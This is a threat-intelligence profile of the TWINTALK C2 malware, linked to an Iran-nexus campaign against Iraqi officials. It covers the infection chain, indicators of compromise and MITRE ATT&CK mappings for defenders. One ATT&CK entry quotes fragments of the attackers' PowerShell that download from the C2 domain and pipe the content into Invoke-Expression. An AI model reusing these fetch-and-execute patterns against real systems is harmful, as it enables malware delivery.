Skip to main content
Live Webinar with SANS (June 25)— Agentic CTI Automation for Fun & ProfitRegister Free
Mallory
MalwareUsed by 1 actor

TWINTALK

TWINTALK is a 32-bit .NET DLL used as a command-and-control orchestrator in a January 2026 campaign targeting Iraqi government officials. Zscaler ThreatLabz associated the activity with the suspected Iran-nexus threat actor Dust Specter, which impersonated Iraq’s Ministry of Foreign Affairs and delivered previously unseen malware families including SPLITDROP, TWINTASK, TWINTALK, and GHOSTFORM. In the observed infection chain, a password-protected RAR archive delivered the .NET dropper SPLITDROP, which decrypted and deployed TWINTASK and TWINTALK, then abused DLL sideloading through legitimate software including VLC and WingetUI. TWINTASK acted as a worker component, while TWINTALK coordinated with it through file-based polling, writing command bodies to local files for execution and exfiltrating results back to the C2 server.

TWINTALK’s primary role is to poll the C2 server for new commands, coordinate tasking with TWINTASK, and support upload and download of files. It beaconed over HTTPS at randomized intervals between 108 and 180 seconds to evade pattern-based detection, used custom or dynamically generated URI paths, and authenticated communications with JWT bearer tokens. Reported C2 evasion and validation features included randomized delays, checksum-appended URI paths, geofencing, and User-Agent verification. Persistence in the broader chain was established through Windows Registry Run keys that relaunched the sideloading binaries after reboot. Reported artifacts and paths associated with the TWINTALK/TWINTASK chain include C:\ProgramData\PolGuid, C:\ProgramData\PolGuid\in.txt, C:\ProgramData\PolGuid\out.txt, malicious DLLs hostfxr.dll and libvlc.dll, and the C2 domain meetingapp[.]site. ThreatLabz also reported code artifacts in TWINTALK suggesting possible generative-AI-assisted development, including emojis, Unicode text, and a placeholder seed value 0xABCDEF.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
Dust Specter

Simultaneously, VLC.exe launches WingetUI.exe, which sideloads hostfxr.dll as TWINTALK, a C2 orchestrator that beacons via JWT-authenticated HTTPS with randomized delays (108–180 seconds).

via centripetal threat researchcentripetal.ai
MITRE ATT&CK

Techniques & procedures

19 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques
T1566PhishingEvidence3

Initial access continued to rely on spear phishing — delivering macro-enabled documents or malicious links.

T1566.001Spearphishing AttachmentEvidence1

Initial access continued to rely on spear phishing — delivering macro-enabled documents or malicious links

Execution

6 techniques
T1053Scheduled Task/JobEvidence2

Persistence was maintained through web shells and scheduled tasks

T1053.005Scheduled TaskEvidence1

The TWINTALK C2 domain meetingapp[.]site was also used in a July 2025 ClickFix attack delivering a fake Webex for Government meeting invitation with a PowerShell payload creating a scheduled task named winWebex executing every two hours.

T1059Command and Scripting InterpreterEvidence1

"...new malware such as SPLITDROP, TWINTASK, TWINTALK, and GHOSTFORM."; "...TernDoor Windows backdoor, and the PeerTime P2P Linux backdoor."; "...Python-based backdoor named AnonDoor."

T1059.001PowerShellEvidence4

“…use of command and scripting interpreters (T1059) like PowerShell (T1059.001).” / “PowerShell and Cmd serve as the universal backbone for execution across nearly all groups …”

T1204User ExecutionEvidence3

In recent years, Iranian-linked threat actors have commonly used phishing (T1566) as the primary vector for initial access, often leading to execution via user execution (T1204) of malicious files

T1574.001DLLEvidence2

"...uses DLL sideloading with legitimate software such as VLC and WingetUI."

Persistence

3 techniques
T1053Scheduled Task/JobEvidence2

Persistence was maintained through web shells and scheduled tasks

T1053.005Scheduled TaskEvidence1

The TWINTALK C2 domain meetingapp[.]site was also used in a July 2025 ClickFix attack delivering a fake Webex for Government meeting invitation with a PowerShell payload creating a scheduled task named winWebex executing every two hours.

T1547.001Registry Run Keys / Startup FolderEvidence5

Attack Chain 1 used SPLITDROP, a .NET dropper delivering TWINTASK and TWINTALK via DLL sideloading into legitimate VLC.exe and WingetUI.exe processes, establishing file-based command polling through in.txt and out.txt with persistence via Windows Run registry keys.

Privilege Escalation

3 techniques
T1053Scheduled Task/JobEvidence2

Persistence was maintained through web shells and scheduled tasks

T1053.005Scheduled TaskEvidence1

The TWINTALK C2 domain meetingapp[.]site was also used in a July 2025 ClickFix attack delivering a fake Webex for Government meeting invitation with a PowerShell payload creating a scheduled task named winWebex executing every two hours.

T1547.001Registry Run Keys / Startup FolderEvidence5

Attack Chain 1 used SPLITDROP, a .NET dropper delivering TWINTASK and TWINTALK via DLL sideloading into legitimate VLC.exe and WingetUI.exe processes, establishing file-based command polling through in.txt and out.txt with persistence via Windows Run registry keys.

Stealth

6 techniques
T1027Obfuscated Files or InformationEvidence2

"...custom URI paths, and JWT tokens to evade detection."

T1036MasqueradingEvidence2

“Defense evasion … masquerading (T1036)” and examples include “C# malware masquerading as PDF documents,” “fake 404 error pages,” and impersonation of collaboration platforms.

T1480Execution GuardrailsEvidence1

"The C2 server also utilized geofencing techniques..."

T1497Virtualization/Sandbox EvasionEvidence1

“applied geofencing to restrict responses to traffic from specific geographic regions only.”

T1497.003Time Based ChecksEvidence1

"...used evasion techniques to delay execution..."; "...delays execution by a random interval before polling the C2 server..."

T1574.001DLLEvidence2

"...uses DLL sideloading with legitimate software such as VLC and WingetUI."

Discovery

2 techniques
T1497Virtualization/Sandbox EvasionEvidence1

“applied geofencing to restrict responses to traffic from specific geographic regions only.”

T1497.003Time Based ChecksEvidence1

"...used evasion techniques to delay execution..."; "...delays execution by a random interval before polling the C2 server..."

Command and Control

4 techniques
T1071Application Layer ProtocolEvidence1

Finally, for command and control and exfiltration, Iranian-linked groups most commonly rely on application layer protocols (T1071), such as HTTP

T1071.001Web ProtocolsEvidence4

TWINTALK, a C2 orchestrator that beacons via JWT-authenticated HTTPS with randomized delays (108–180 seconds).

T1090.003Multi-hop ProxyEvidence1

Command and control operates through Telegram dead drops, JWT-authenticated HTTPS with randomized URI paths, and Cloudflare-fronted infrastructure that masks backend servers from conventional blocking.

T1105Ingress Tool TransferEvidence4

“Add-Type … HttpClient … GetAsync('https://meetingapp.site/webexdownload') … WriteAllBytes” / “Invoke-WebRequest … .content | Invoke-Expression”

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence2

"...exfiltrate the results back to the server."

INDICATORS OF COMPROMISE

IOCs tracked for this family

5 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
4 tracked

IPs, domains, and DNS infrastructure linked to this family.

Other
1 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app3 months ago
domain●●●●●●●●●●●●View more in app3 months ago
domain●●●●●●●●●●●●View more in app3 months ago
domain●●●●●●●●●●●●View more in app3 months ago
uri●●●●●●●●●●●●View more in app4 months ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching5

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping19

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.